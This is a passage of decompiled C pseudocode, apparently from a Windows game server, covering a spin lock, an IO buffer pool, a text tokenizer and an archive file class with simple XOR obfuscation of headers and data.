sizeof(s_stContext)); result = EHInternalGetStackTraceString(dwOpts); } return result; } //----- (00561150) -------------------------------------------------------- const char *__stdcall GetNextStackTraceString(unsigned int dwOpts, _EXCEPTION_POINTERS *__formal) { return EHInternalGetStackTraceString(dwOpts); } //----- (00561160) -------------------------------------------------------- void __thiscall CIOSpinLock::Wait(CIOSpinLock *this) { CIOSpinLock *v1; // esi@1 signed int v2; // ebx@1 signed int v3; // ebp@4 v1 = this; v2 = 3999; while ( InterlockedCompareExchange(&v1->lock, 1, 0) ) { _mm_pause(); --v2; if ( v2 < 0 ) { v3 = 3999; while ( 1 ) { SwitchToThread(); if ( !InterlockedCompareExchange(&v1->lock, 1, 0) ) break; --v3; if ( v3 < 0 ) { do Sleep(0x3E8u); while ( InterlockedCompareExchange(&v1->lock, 1, 0) ); return; } } return; } } } //----- (005611C0) -------------------------------------------------------- void __thiscall IOBufferContainer::IOBufferContainer(IOBufferContainer *this) { IOBufferContainer *v1; // ebx@1 signed int v2; // edi@1 void *v3; // eax@2 void *v4; // esi@2 v1 = this; v2 = 0; this->iobc_Lock.lock = 0; this->iobc_Pointer = 0; do { v3 = operator new(0x2010u); v4 = v3; if ( v3 ) { *(_DWORD *)v3 = &CIOBuffer::_vftable_; InterlockedIncrement(&CIOBuffer::s_nCount); } else { v4 = 0; } v1->iobc_PointerList[v2] = (CIOBuffer *)v4; if ( !v4 ) ShineExit("IOBufferContainer::IOBufferContainer"); ++v2; } while ( v2 < 512 ); } // 5DB4E8: using guessed type int (__thiscall *CIOBuffer___vftable_)(void *p, char); //----- (00561230) -------------------------------------------------------- CIOBuffer *__thiscall IOBufferContainer::iobc_Alloc(IOBufferContainer *this) { int v1; // edx@1 void *v2; // eax@2 CIOBuffer *v3; // esi@2 CIOBuffer *result; // eax@3 v1 = this->iobc_Pointer; if ( v1 < 512 ) { result = this->iobc_PointerList[v1]; this->iobc_Pointer = v1 + 1; } else { v2 = operator new(0x2010u); v3 = (CIOBuffer *)v2; if ( v2 ) { *(_DWORD *)v2 = &CIOBuffer::_vftable_; InterlockedIncrement(&CIOBuffer::s_nCount); result = v3; } else { result = 0; } } return result; } // 5DB4E8: using guessed type int (__thiscall *CIOBuffer___vftable_)(void *p, char); //----- (00561280) -------------------------------------------------------- void *__thiscall CIOBuffer::_scalar_deleting_destructor_(CIOBuffer *this, unsigned int a2) { void *v2; // esi@1 v2 = this; this->vfptr = (CIOBufferVtbl *)&CIOBuffer::_vftable_; if ( a2 & 1 ) operator delete(this); return v2; } // 5DB4E8: using guessed type int (__thiscall *CIOBuffer___vftable_)(void *p, char); //----- (005612A0) -------------------------------------------------------- CIOBuffer *__cdecl CIOBuffer::Alloc() { int v0; // esi@1 CIOBuffer *v1; // edi@3 int v2; // esi@5 v0 = InterlockedIncrement(&g_nAllocBuffer) & 0xF; if ( InterlockedCompareExchange((volatile LONG *)(8 * v0 + 342246388), 1, 0) ) CIOSpinLock::Wait((CIOSpinLock *)(8 * v0 + 342246388)); v1 = g_slotBuffer[v0].m_pBuffer; if ( v1 ) { g_slotBuffer[v0].m_pBuffer = v1->m_pNext; InterlockedExchange((volatile LONG *)(8 * v0 + 342246388), 0); } else { InterlockedExchange((volatile LONG *)(8 * v0 + 342246388), 0); v2 = 2056 * v0; if ( InterlockedCompareExchange((volatile LONG *)((char *)&unk_14664C74 + v2), 1, 0) ) CIOSpinLock::Wait((CIOSpinLock *)((char *)&unk_14664C74 + v2)); v1 = IOBufferContainer::iobc_Alloc((IOBufferContainer *)((char *)&IOBufferList + v2)); InterlockedExchange((volatile LONG *)((char *)&unk_14664C74 + v2), 0); } v1->m_dwSize = 0; v1->m_nRef = 1; v1->m_pNext = 0; InterlockedIncrement(&CIOBuffer::s_nAlloc); return v1; } //----- (00561360) -------------------------------------------------------- void __thiscall CIOBuffer::Free(CIOBuffer *this) { CIOBuffer *v1; // ebx@1 int v2; // eax@1 int v3; // esi@1 CIOSpinLock *v4; // edi@1 v1 = this; InterlockedDecrement(&CIOBuffer::s_nAlloc); v2 = InterlockedDecrement(&g_nFreeBuffer) & 0xF; v3 = 8 * v2 + 342246384; v4 = (CIOSpinLock *)(8 * v2 + 342246388); if ( InterlockedCompareExchange((volatile LONG *)(8 * v2 + 342246388), 1, 0) ) CIOSpinLock::Wait(v4); v1->m_pNext = *(CIOBuffer **)v3; *(_DWORD *)v3 = v1; InterlockedExchange(&v4->lock, 0); } //----- (005613C0) -------------------------------------------------------- void __thiscall CToken::CToken(CToken *this) { CToken *v1; // esi@1 char v2; // dl@1 v1 = this; CGdp::CGdp(&this->m_Gdp); v1->m_bIsOpen = 0; v1->m_hFile = 0; v1->m_pFileBF = 0; v1->m_pSaveTokenPos = 0; v1->m_bOpenByMemory = 0; v1->m_bResetStart = 0; v1->m_bIsStart = 1; *(_DWORD *)&v1->m_szSeprator[0] = *(_DWORD *)" \t\r\n"; v2 = byte_5DB518; v1->m_pToken = 0; v1->m_lplpTokenList = 0; v1->m_dwNumTokens = 0; v1->m_szSeprator[4] = v2; } // 5DB518: using guessed type char byte_5DB518; //----- (00561430) -------------------------------------------------------- void __thiscall CToken::Close(CToken *this) { CToken *v1; // esi@1 v1 = this; if ( this->m_pFileBF ) { free(this->m_pFileBF); v1->m_pFileBF = 0; } if ( v1->m_bIsOpen ) { CGdp::CloseHandle(&v1->m_Gdp, v1->m_hFile); v1->m_bIsOpen = 0; } CGdp::GdpClose(&v1->m_Gdp); v1->m_bOpenByMemory = 0; } //----- (00561490) -------------------------------------------------------- void __thiscall CToken::SetSeprator(CToken *this, char *lpszSeprator) { char *v2; // eax@1 unsigned int v3; // edx@1 char v4; // cl@2 v2 = lpszSeprator; v3 = this->m_szSeprator - lpszSeprator; do { v4 = *v2; v2[v3] = *v2; ++v2; } while ( v4 ); } //----- (005614B0) -------------------------------------------------------- char *__thiscall CToken::my_tcstok(CToken *this, char *pstrToken, const char *pstrDelimit) { CToken *v3; // esi@1 char *v4; // edi@3 char *result; // eax@4 char *v6; // eax@5 char *v7; // eax@6 char *v8; // eax@7 v3 = this; if ( pstrToken ) this->m_pMyTokenStart = pstrToken; v4 = this->m_pMyTokenStart; if ( v4 ) { v6 = _mbspbrk(v4, pstrDelimit); v3->m_pMyTokenStart = v6; if ( v6 == v4 ) { do { v4 = v3->m_pMyTokenStart + 1; v3->m_pMyTokenStart = v4; v7 = _mbspbrk(v4, pstrDelimit); v3->m_pMyTokenStart = v7; } while ( v7 == v4 ); } v8 = v3->m_pMyTokenStart; if ( v8 ) { *v8 = 0; ++v3->m_pMyTokenStart; } result = v4; } else { result = 0; } return result; } //----- (00561530) -------------------------------------------------------- char *__thiscall CToken::GetToken(CToken *this) { CToken *v1; // esi@1 char *result; // eax@1 char *v3; // [sp-8h] [bp-Ch]@3 const char *v4; // [sp-4h] [bp-8h]@3 v1 = this; result = this->m_pFileBF; if ( result ) { if ( this->m_bIsStart ) { v4 = this->m_szSeprator; this->m_bIsStart = 0; this->m_bResetStart = 0; v3 = result; } else { if ( this->m_bResetStart ) { result = CToken::my_tcstok(this, this->m_pResetStart, this->m_szSeprator); v1->m_bResetStart = 0; v1->m_pToken = result; return result; } v4 = this->m_szSeprator; v3 = 0; } result = CToken::my_tcstok(this, v3, v4); v1->m_pToken = result; } return result; } //----- (005615B0) -------------------------------------------------------- int __thiscall CToken::GoBegin(CToken *this) { CToken *v1; // ebx@1 int result; // eax@3 DWORD dwReaded; // [sp+0h] [bp-4h]@1 dwReaded = (DWORD)this; v1 = this; if ( this->m_bOpenByMemory ) { this->m_pFileBF[this->m_dwFileSize] = 0; memcpy(this->m_pFileBF, this->m_pOpenMemory, this->m_dwFileSize); LABEL_3: result = 1; v1->m_bIsStart = 1; return result; } if ( this->m_bIsOpen ) { if ( CGdp::SetFilePointer(&this->m_Gdp, this->m_hFile, 0, 0, 0) != -1 && CGdp::ReadFile(&v1->m_Gdp, v1->m_hFile, v1->m_pFileBF, v1->m_dwFileSize, &dwReaded, 0) ) goto LABEL_3; CToken::Close(v1); } return 0; } //----- (00561660) -------------------------------------------------------- int __thiscall CToken::GoNextLine(CToken *this) { CToken *v1; // esi@1 char *v2; // edx@2 int result; // eax@3 char *v4; // eax@4 char v5; // cl@5 v1 = this; if ( this->m_pFileBF && (v2 = this->m_pToken) != 0 ) { v4 = this->m_pToken; do v5 = *v4++; while ( v5 ); if ( v2[v4 - (v2 + 1) + 1] != 10 ) v1->m_pToken = CToken::my_tcstok(v1, 0, "\n"); result = 1; } else { result = 0; } return result; } //----- (005616B0) -------------------------------------------------------- char *__thiscall CToken::GoStartString(CToken *this) { char *result; // eax@2 char *v2; // esi@3 char *v3; // eax@3 int v4; // edx@3 char v5; // cl@4 int v6; // eax@5 int v7; // edx@5 char v8; // al@5 signed int v9; // edi@5 int v10; // ecx@6 if ( this->m_pFileBF ) { v2 = this->m_pToken; v3 = this->m_pToken; v4 = (int)(v3 + 1); do v5 = *v3++; while ( v5 ); v6 = (int)&v3[-v4]; v7 = v6; v8 = v2[v6 + 1]; v9 = 1; if ( v8 != 34 ) { v10 = (int)&v2[v7 + 1]; do { if ( !v8 ) break; v8 = *(_BYTE *)(v10 + 1); ++v9; ++v10; } while ( v8 != 34 ); } result = &v2[v9] + v7; } else { result = 0; } return result; } //----- (00561710) -------------------------------------------------------- void __thiscall CToken::SaveTokenPositon(CToken *this) { this->m_pSaveTokenPos = this->m_pToken; } //----- (00561720) -------------------------------------------------------- int __thiscall CToken::RestoreTokenPositon(CToken *this, const char *pMarkPoint) { CToken *v2; // esi@1 char *v4; // [sp-8h] [bp-10h]@3 const char *v5; // [sp-4h] [bp-Ch]@3 v2 = this; if ( pMarkPoint ) { if ( CToken::GoBegin(this) ) { v5 = v2->m_szSeprator; v4 = (char *)pMarkPoint; LABEL_7: v2->m_bIsStart = 0; v2->m_pToken = CToken::my_tcstok(v2, v4, v5); return 1; } } else { if ( this->m_pSaveTokenPos && CToken::GoBegin(this) ) { v5 = v2->m_szSeprator; v4 = v2->m_pSaveTokenPos; goto LABEL_7; } } return 0; } //----- (00561790) -------------------------------------------------------- unsigned int __thiscall CToken::IsTokenID(CToken *this, char *Token, char **ppTokenList, unsigned int NumTokens) { unsigned int v4; // esi@1 unsigned int result; // eax@4 v4 = 0; if ( NumTokens ) { while ( _mbsicmp(Token, ppTokenList[v4]) ) { ++v4; if ( v4 >= NumTokens ) goto LABEL_4; } result = v4; } else { LABEL_4: result = -1; } return result; } //----- (005617D0) -------------------------------------------------------- char *__thiscall CToken::GetTokenID(CToken *this, unsigned int *lpdwTokenID, char **ppTokenList, unsigned int NumTokens) { CToken *v4; // esi@1 char *v5; // eax@3 v4 = this; CToken::GetToken(this); *lpdwTokenID = -1; if ( ppTokenList ) { if ( NumTokens ) { v5 = v4->m_pToken; if ( v5 ) { if ( !*v5 ) return 0; *lpdwTokenID = CToken::IsTokenID(v4, v5, ppTokenList, NumTokens); } } } return v4->m_pToken; } //----- (00561820) -------------------------------------------------------- void __thiscall CToken::_CToken(CToken *this) { CGdp *v1; // esi@1 v1 = (CGdp *)this; CToken::Close(this); CGdp::_CGdp(v1); } //----- (00561870) -------------------------------------------------------- int __thiscall CToken::Open(CToken *this, char *lpszPathName) { CToken *v2; // esi@1 void *v3; // eax@1 unsigned int v4; // eax@2 void *v5; // eax@3 DWORD dwReaded; // [sp+0h] [bp-4h]@1 dwReaded = (DWORD)this; v2 = this; CToken::Close(this); v3 = CGdp::CreateFileA(&v2->m_Gdp, lpszPathName, 0x80000000u, 1u, 0, 3u, 0x80u, 0); v2->m_hFile = v3; if ( v3 == (void *)-1 ) return 0; v2->m_bIsOpen = 1; v4 = CGdp::GetFileSize(&v2->m_Gdp, v3, 0); v2->m_dwFileSize = v4; if ( v4 == -1 || (v5 = malloc(v4 + 1), (v2->m_pFileBF = (char *)v5) == 0) || (*((_BYTE *)v5 + v2->m_dwFileSize) = 0, !CGdp::ReadFile(&v2->m_Gdp, v2->m_hFile, v2->m_pFileBF, v2->m_dwFileSize, &dwReaded, 0)) ) { CToken::Close(v2); return 0; } v2->m_bIsStart = 1; v2->m_bOpenByMemory = 0; return 1; } //----- (00561940) -------------------------------------------------------- int __thiscall CToken::OpenFromMemory(CToken *this, char *lpText) { CToken *v2; // ebx@1 unsigned int v3; // eax@1 void *v4; // eax@2 int result; // eax@3 v2 = this; CToken::Close(this); v3 = strlen(lpText); v2->m_dwFileSize = v3; if ( v3 && (v4 = malloc(v3 + 1), (v2->m_pFileBF = (char *)v4) != 0) ) { *((_BYTE *)v4 + v2->m_dwFileSize) = 0; memcpy(v2->m_pFileBF, lpText, v2->m_dwFileSize); result = 1; v2->m_pOpenMemory = lpText; v2->m_bIsStart = 1; v2->m_bOpenByMemory = 1; } else { result = 0; } return result; } //----- (005619D0) -------------------------------------------------------- char *__thiscall CToken::GetTokenString(CToken *this, int *pstrsize) { CToken *v2; // esi@1 char *v3; // eax@1 char *v5; // eax@7 char *v6; // eax@11 int v7; // edi@12 char v8; // cl@13 v2 = this; v3 = this->m_pFileBF; if ( !v3 ) return 0; if ( this->m_bIsStart ) { this->m_bIsStart = 0; this->m_bResetStart = 0; this->m_pToken = CToken::my_tcstok(this, v3, (const char *)"\""); } if ( v2->m_bResetStart ) { v2->m_pToken = v2->m_pResetStart - 1; v2->m_bResetStart = 0; } v5 = CToken::GoStartString(v2); v2->m_pToken = v5; if ( *v5 != 34 || v5[1] != 34 ) { v6 = CToken::my_tcstok(v2, v5, (const char *)"\""); v2->m_pToken = v6; if ( pstrsize ) { v7 = (int)(v6 + 1); do v8 = *v6++; while ( v8 ); *pstrsize = (int)&v6[-v7]; } } else { v5[1] = 0; v2->m_pResetStart = v2->m_pToken + 2; v2->m_bResetStart = 1; v2->m_pToken = (char *)&CToken::m_NULLstr; if ( pstrsize ) { *pstrsize = 0; return v2->m_pToken; } } return v2->m_pToken; } //----- (00561AC0) -------------------------------------------------------- void __thiscall CGdp::Clear(CGdp *this) { this->m_bIsGDPOpen = 0; this->m_GdpIO = 0; this->m_hGDPFile = 0; this->m_fpGDPFile = 0; this->m_bIsGDPOpenByHandle = 0; this->m_bIsGDPOpenByFilePointer = 0; memset(this->m_GDPFileName, 0, sizeof(this->m_GDPFileName)); this->m_dwGDPFPos = 0; this->m_dwGDPFPosHigh = 0; this->m_dwNumChunk = 0; this->m_pChunkList = 0; this->m_bIsOpen = 0; this->m_StoreType = 0; this->m_bNew = 0; this->m_hFile = 0; this->m_dwFileNo = 0; this->m_pFileChunk = 0; this->m_dwDefaultNumEmptyMakes = 10; } //----- (00561B30) -------------------------------------------------------- unsigned int __thiscall CGdp::GdpSetFilePointer(CGdp *this, int lLow, int *lpHigh, unsigned int dwMode) { CGdp *v4; // esi@1 CGdp::GDP_IO_TYPE v5; // eax@1 unsigned int result; // eax@5 v4 = this; v5 = this->m_GdpIO; if ( v5 ) { if ( v5 != 1 ) return -1; if ( fseek(this->m_fpGDPFile, lLow, dwMode) ) { SetLastError(0x84u); return -1; } if ( lpHigh ) *lpHigh = 0; result = ftell(v4->m_fpGDPFile); } else { result = SetFilePointer(this->m_hGDPFile, lLow, lpHigh, dwMode); } return result; } //----- (00561BB0) -------------------------------------------------------- void __thiscall CGdp::GdpEncryptHeader(CGdp *this, CGdp::GDP_CHUNK *lpChunk) { unsigned int v2; // ecx@1 unsigned int v3; // eax@1 v2 = this->m_EncryptKey; v3 = 0; do { *(_DWORD *)&lpChunk->___u2.TYPE_MAIN.Comment[4 * v3++] ^= v2 ^ 0x36175A5A; v2 = __ROL__(v2, 1); } while ( v3 < 0x4D ); } //----- (00561BE0) -------------------------------------------------------- void __thiscall CGdp::GdpDecryptData(CGdp *this, void *lpData, unsigned int dwSize) { char v3; // al@1 unsigned int v4; // ecx@1 v3 = LOBYTE(this->m_EncryptKey) ^ BYTE1(this->m_EncryptKey) ^ BYTE2(this->m_EncryptKey) ^ BYTE3(this->m_EncryptKey); v4 = 0; if ( dwSize ) { do *((_BYTE *)lpData + v4++) ^= v3; while ( v4 < dwSize ); } } //----- (00561C20) -------------------------------------------------------- int __thiscall CGdp::GdpWriteChunk(CGdp *this, CGdp::GDP_CHUNK *lpChunk) { CGdp *v2; // ebx@1 CGdp::GDP_CHUNK *v3; // eax@2 CGdp::GDP_IO_TYPE v4; // ecx@4 int result; // eax@7 DWORD NumberOfBytesWritten; // [sp+Ch] [bp-144h]@9 CGdp::GDP_CHUNK WrtChunk; // [sp+10h] [bp-140h]@3 v2 = this; if ( this->m_bWriteEncryptedHeader ) { lpChunk->Encrypt |= 1u; memcpy(&WrtChunk, lpChunk, sizeof(WrtChunk)); CGdp::GdpEncryptHeader(this, &WrtChunk); v3 = &WrtChunk; } else { v3 = lpChunk; v3->Encrypt &= 0xFFFFFFFEu; } v4 = v2->m_GdpIO; if ( v4 ) result = v4 != 1 || fwrite(v3, 0x13Cu, 1u, v2->m_fpGDPFile) == 1; else result = WriteFile(v2->m_hGDPFile, v3, 0x13Cu, &NumberOfBytesWritten, 0); return result; } //----- (00561CD0) -------------------------------------------------------- int __thiscall CGdp::GdpUpdateChunk(CGdp *this, unsigned int dwChunkNo) { CGdp *v2; // edi@1 int result; // eax@3 v2 = this; if ( CGdp::GdpSetFilePointer( this, this->m_pChunkList[dwChunkNo].ChunkFPos, &this->m_pChunkList[dwChunkNo].ChunkFPosHigh, 0) == -1 && GetLastError() ) result = 0; else result = CGdp::GdpWriteChunk(v2, &v2->m_pChunkList[dwChunkNo].Chunk) != 0; return result; } //----- (00561D30) -------------------------------------------------------- void __thiscall CGdp::UpdateWriteDataInfo(CGdp *this, const void *lpBuffer, unsigned int nNumberOfBytesToWrite) { CGdp *v3; // esi@1 CGdp::GDP_CHUNK_LIST *v4; // edx@1 unsigned int v5; // kr00_4@1 int v6; // ecx@1 struct _SYSTEMTIME SystemTime; // [sp+Ch] [bp-10h]@1 v3 = this; v4 = this->m_pFileChunk; v5 = *(_DWORD *)&v4->Chunk.gap114[4]; *(_DWORD *)&v4->Chunk.gap114[4] += nNumberOfBytesToWrite; v6 = (nNumberOfBytesToWrite + (unsigned __int64)v5) >> 32; *(_DWORD *)&v3->m_pFileChunk->Chunk.gap114[8] = v6; *(_DWORD *)&v3->m_pFileChunk->Chunk.gap114[12] = nNumberOfBytesToWrite + v5; *(_DWORD *)&v3->m_pFileChunk->Chunk.gap114[16] = v6; GetSystemTime(&SystemTime); SystemTimeToFileTime(&SystemTime, (LPFILETIME)&v3->m_pFileChunk->Chunk.gap114[20]); } //----- (00561DB0) -------------------------------------------------------- unsigned int __thiscall CGdp::GdpSearchFile(CGdp *this, const char *lpFileName) { CGdp *v2; // esi@1 unsigned int v3; // ebx@1 int v4; // edi@2 CGdp::GDP_CHUNK_LIST *v5; // eax@3 CGdp::GDP_TYPE v6; // ecx@3 int v7; // eax@3 unsigned int result; // eax@6 v2 = this; v3 = 0; if ( this->m_dwNumChunk ) { v4 = 0; while ( 1 ) { v5 = v2->m_pChunkList; v6 = v5[v4].Chunk.Type; v7 = (int)&v5[v4]; if ( v6 == 2 ) { if ( !_mbsicmp((const char *)(v7 + 16), lpFileName) ) break; } ++v3; ++v4; if ( v3 >= v2->m_dwNumChunk ) goto LABEL_6; } result = v3; } else { LABEL_6: result = -1; } return result; } //----- (00561E20) -------------------------------------------------------- int __thiscall CGdp::GdpDeleteFile(CGdp *this, unsigned int dwFileNo) { char *v2; // eax@1 int result; // eax@2 v2 = (char *)&this->m_pChunkList[dwFileNo].Chunk; if ( *(_DWORD *)v2 == 2 ) { *(_DWORD *)v2 = 3; result = CGdp::GdpUpdateChunk(this, dwFileNo); } else { result = 0; } return result; } //----- (00561E60) -------------------------------------------------------- int __thiscall CGdp::GdpDeleteFile(CGdp *this, const char *lpFileName) { CGdp *v2; // esi@1 unsigned int v3; // eax@1 int v4; // ecx@2 int result; // eax@3 v2 = this; v3 = CGdp::GdpSearchFile(this, lpFileName); if ( v3 != -1 && (v4 = (int)&v2->m_pChunkList[v3].Chunk, *(_DWORD *)v4 == 2) ) { *(_DWORD *)v4 = 3; result = CGdp::GdpUpdateChunk(v2, v3); } else { result = 0; } return result; } //----- (00561EB0) -------------------------------------------------------- int __thiscall CGdp::CloseHandle(CGdp *this, void *hObject) { CGdp *v2; // esi@1 int result; // eax@2 v2 = this; if ( this->m_bIsGDPOpen ) { if ( this->m_bIsOpen ) { CGdp::GdpUpdateChunk(this, this->m_dwFileNo); v2->m_bIsOpen = 0; } result = 1; } else { result = CloseHandle(hObject); } return result; } //----- (00561EF0) -------------------------------------------------------- int __thiscall CGdp::ReadFile(CGdp *this, void *hFile, void *lpBuffer, unsigned int nNumberOfBytesToRead, unsigned int *lpNumberOfBytesRead, _OVERLAPPED *lpOverlapped) { CGdp *v6; // esi@1 unsigned int v8; // eax@5 int v9; // eax@6 v6 = this; if ( !this->m_bIsGDPOpen ) return ReadFile(hFile, lpBuffer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped); if ( hFile != this->m_hFile ) return 0; v8 = this->m_pFileChunk->Chunk.___u2.TYPE_MAIN.NumChunk; if ( v8 ) { v9 = v8 - 1; if ( v9 ) { if ( v9 == 1 ) return 0; goto LABEL_11; } return 0; } if ( !ReadFile(hFile, lpBuffer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped) ) return 0; LABEL_11: if ( v6->m_pFileChunk->Chunk.Encrypt & 2 ) CGdp::GdpDecryptData(v6, lpBuffer, *lpNumberOfBytesRead); return 1; } //----- (00561F80) -------------------------------------------------------- int __thiscall CGdp::WriteFile(CGdp *this, void *hFile, const void *lpBuffer, unsigned int nNumberOfBytesToWrite, unsigned int *lpNumberOfBytesWritten, _OVERLAPPED *lpOverlapped) { CGdp *v6; // esi@1 int result; // eax@2 unsigned int v8; // eax@7 int v9; // eax@8 void *v10; // edi@10 v6 = this; if ( this->m_bIsGDPOpen ) { if ( hFile == this->m_hFile ) { if ( this->m_pFileChunk->Chunk.Encrypt & 2 ) CGdp::GdpDecryptData(this, (void *)lpBuffer, nNumberOfBytesToWrite); v8 = v6->m_pFileChunk->Chunk.___u2.TYPE_MAIN.NumChunk; if ( v8 ) { v9 = v8 - 1; if ( v9 && v9 != 1 ) v10 = hFile; else v10 = 0; } else { v10 = (void *)WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped); } if ( v6->m_pFileChunk->Chunk.Encrypt & 2 ) CGdp::GdpDecryptData(v6, (void *)lpBuffer, nNumberOfBytesToWrite); if ( v10 ) { v6->m_bWritten = 1; CGdp::UpdateWriteDataInfo(v6, lpBuffer, nNumberOfBytesToWrite); } result = (int)v10; } else { result = 0; } } else { result = WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped); } return result; } //----- (00562030) -------------------------------------------------------- unsigned int __thiscall CGdp::GetFileSize(CGdp *this, void *hFile, unsigned int *lpFileSizeHigh) { unsigned int result; // eax@2 if ( this->m_bIsGDPOpen ) { if ( lpFileSizeHigh ) *lpFileSizeHigh = *(_DWORD *)&this->m_pFileChunk->Chunk.gap114[8]; result = *(_DWORD *)&this->m_pFileChunk->Chunk.gap114[4]; } else { result = GetFileSize(hFile, lpFileSizeHigh); } return result; } //----- (00562060) -------------------------------------------------------- unsigned int __thiscall CGdp::SetFilePointer(CGdp *this, void *hFile, int lDistanceToMove, int *lpDistanceToMoveHigh, unsigned int dwMoveMethod) { CGdp *v5; // esi@1 unsigned int result; // eax@2 CGdp::GDP_CHUNK_LIST *v7; // eax@9 int *v8; // edi@9 int v9; // edx@10 DWORD v10; // eax@15 CGdp::GDP_CHUNK_LIST *v11; // esi@15 void *v12; // [sp-14h] [bp-18h]@9 LONG v13; // [sp-10h] [bp-14h]@9 int *v14; // [sp-Ch] [bp-10h]@9 DWORD v15; // [sp-8h] [bp-Ch]@9 v5 = this; if ( !this->m_bIsGDPOpen ) return SetFilePointer(hFile, lDistanceToMove, lpDistanceToMoveHigh, dwMoveMethod); if ( !dwMoveMethod ) { v8 = lpDistanceToMoveHigh; if ( lpDistanceToMoveHigh ) *lpDistanceToMoveHigh += *(_DWORD *)&this->m_pFileChunk->Chunk.gap114[0]; v15 = 0; v9 = lDistanceToMove + this->m_pFileChunk->Chunk.___u2.TYPE_MAIN.NumNextChunkComes; goto LABEL_14; } if ( dwMoveMethod == 1 ) { v8 = lpDistanceToMoveHigh; v9 = lDistanceToMove; v15 = 1; LABEL_14: v14 = v8; v13 = v9; v12 = this->m_hFile; goto LABEL_15; } if ( dwMoveMethod != 2 ) { if ( lpDistanceToMoveHigh ) *lpDistanceToMoveHigh = -1; SetLastError(0x57u); return -1; } v7 = this->m_pFileChunk; v8 = lpDistanceToMoveHigh; v15 = 2; v14 = &lpDistanceToMoveHigh[*(_DWORD *)&v7->Chunk.gap114[0]]; v13 = lDistanceToMove + v7->Chunk.___u2.TYPE_MAIN.NumNextChunkComes + *(_DWORD *)&v7->Chunk.gap114[4]; v12 = this->m_hFile; LABEL_15: v10 = SetFilePointer(v12, v13, v14, v15); v11 = v5->m_pFileChunk; result = v10 - v11->Chunk.___u2.TYPE_MAIN.NumNextChunkComes; if ( v8 ) *v8 -= *(_DWORD *)&v11->Chunk.gap114[0]; return result; } //----- (00562140) -------------------------------------------------------- int __thiscall CGdp::fclose(CGdp *this, _iobuf *stream) { CGdp *v2; // esi@1 int result; // eax@2 v2 = this; if ( this->m_bIsGDPOpen ) { if ( this->m_bIsOpen ) { CGdp::GdpUpdateChunk(this, this->m_dwFileNo); v2->m_bIsOpen = 0; } result = 0; } else { result = fclose(stream); } return result; } //----- (00562190) -------------------------------------------------------- void __thiscall CGdp::CGdp(CGdp *this) { this->m_bWriteEncryptedHeader = 0; this->m_bWriteEncryptedData = 0; this->m_EncryptKey = 0; CGdp::Clear(this); } //----- (005621B0) -------------------------------------------------------- int __thiscall CGdp::GdpCloseFile(CGdp *this) { CGdp::GDP_IO_TYPE v1; // eax@2 if ( this->m_bIsOpen ) { v1 = this->m_GdpIO; if ( !v1 ) return CGdp::CloseHandle(this, this->m_hFile); if ( v1 == 1 ) return CGdp::fclose(this, this->m_fpFile); } return 1; } //----- (005621F0) -------------------------------------------------------- unsigned int __thiscall CGdp::GdpMakeEmptyChunk(CGdp *this, unsigned int NumMakes) { CGdp *v2; // ebx@1 unsigned int result; // eax@1 unsigned int v4; // ebp@1 unsigned int v5; // eax@2 unsigned int v6; // esi@2 int v7; // ebp@3 unsigned int v8; // edi@10 int v9; // ebp@11 int v10; // esi@11 int *v11; // eax@12 CGdp::GDP_IO_TYPE v12; // ecx@14 DWORD v13; // eax@17 CGdp::GDP_CHUNK_LIST *v14; // edx@25 int v15; // esi@25 CGdp::GDP_IO_TYPE v16; // ecx@27 signed int v17; // eax@29 CGdp::GDP_CHUNK_LIST *v18; // ecx@39 unsigned int v19; // esi@39 unsigned int dwChunkEnd; // [sp+8h] [bp-148h]@2 unsigned int FPos; // [sp+Ch] [bp-144h]@8 LONG FPosHigh; // [sp+10h] [bp-140h]@8 CGdp::GDP_CHUNK Chunk; // [sp+14h] [bp-13Ch]@10 v2 = this; result = (unsigned int)malloc(324 * (NumMakes + this->m_dwNumChunk + 1)); v4 = result; if ( result ) { memcpy((void *)result, v2->m_pChunkList, 324 * v2->m_dwNumChunk); free(v2->m_pChunkList); v5 = v2->m_dwNumChunk; v6 = 0; v2->m_pChunkList = (CGdp::GDP_CHUNK_LIST *)v4; dwChunkEnd = 0; if ( v5 ) { v7 = v4 + 8; do { if ( *(_DWORD *)v7 == 5 ) break; ++v6; v7 += 324; } while ( v6 < v2->m_dwNumChunk ); dwChunkEnd = v6; } if ( v6 >= v5 || (FPosHigh = 0, FPos = CGdp::GdpSetFilePointer(v2, 0, &FPosHigh, 2u), FPos == -1) && GetLastError() ) return -1; memset(&Chunk, 0, sizeof(Chunk)); v8 = 1; Chunk.Type = 4; if ( NumMakes >= 1 ) { v9 = FPos; v10 = v6 + 1; while ( 1 ) { v11 = &v2->m_pChunkList[v10].ChunkFPosHigh; if ( &v2->m_pChunkList[v10] != (CGdp::GDP_CHUNK_LIST *)-4 ) *v11 = 0; v12 = v2->m_GdpIO; if ( v12 ) { if ( v12 == 1 && (v9 = ftell(v2->m_fpGDPFile)) != 0 ) { SetLastError(0x84u); v13 = -1; } else { v13 = v9; } } else { v13 = SetFilePointer(v2->m_hGDPFile, 0, v11, 1u); } v2->m_pChunkList[v10].ChunkFPos = v13; if ( v2->m_pChunkList[v10].ChunkFPos == -1 ) { if ( GetLastError() ) return -1; } if ( !CGdp::GdpWriteChunk(v2, &Chunk) ) return -1; v2->m_pChunkList[v10].Chunk.Type = 4; ++v8; ++v10; if ( v8 > NumMakes ) { v6 = dwChunkEnd; break; } } } v14 = v2->m_pChunkList; v15 = v8 + v6; Chunk.Type = 5; if ( &v14[v15] != (CGdp::GDP_CHUNK_LIST *)-4 ) v14[v15].ChunkFPosHigh = 0; v16 = v2->m_GdpIO; if ( v16 ) { if ( v16 == 1 ) { v17 = ftell(v2->m_fpGDPFile); if ( v17 ) { SetLastError(0x84u); v17 = -1; } } else { v17 = FPos; } } else { v17 = SetFilePointer(v2->m_hGDPFile, 0, &v14[v15].ChunkFPosHigh, 1u); } if ( (v2->m_pChunkList[v15].ChunkFPos = v17, v2->m_pChunkList[v15].ChunkFPos == -1) && GetLastError() || !CGdp::GdpWriteChunk(v2, &Chunk) || (v2->m_pChunkList[v15].Chunk.Type = 5, v2->m_pChunkList[dwChunkEnd].Chunk.Type = 1, v2->m_pChunkList[dwChunkEnd].Chunk.___u2.TYPE_MAIN.NumChunk = FPos, 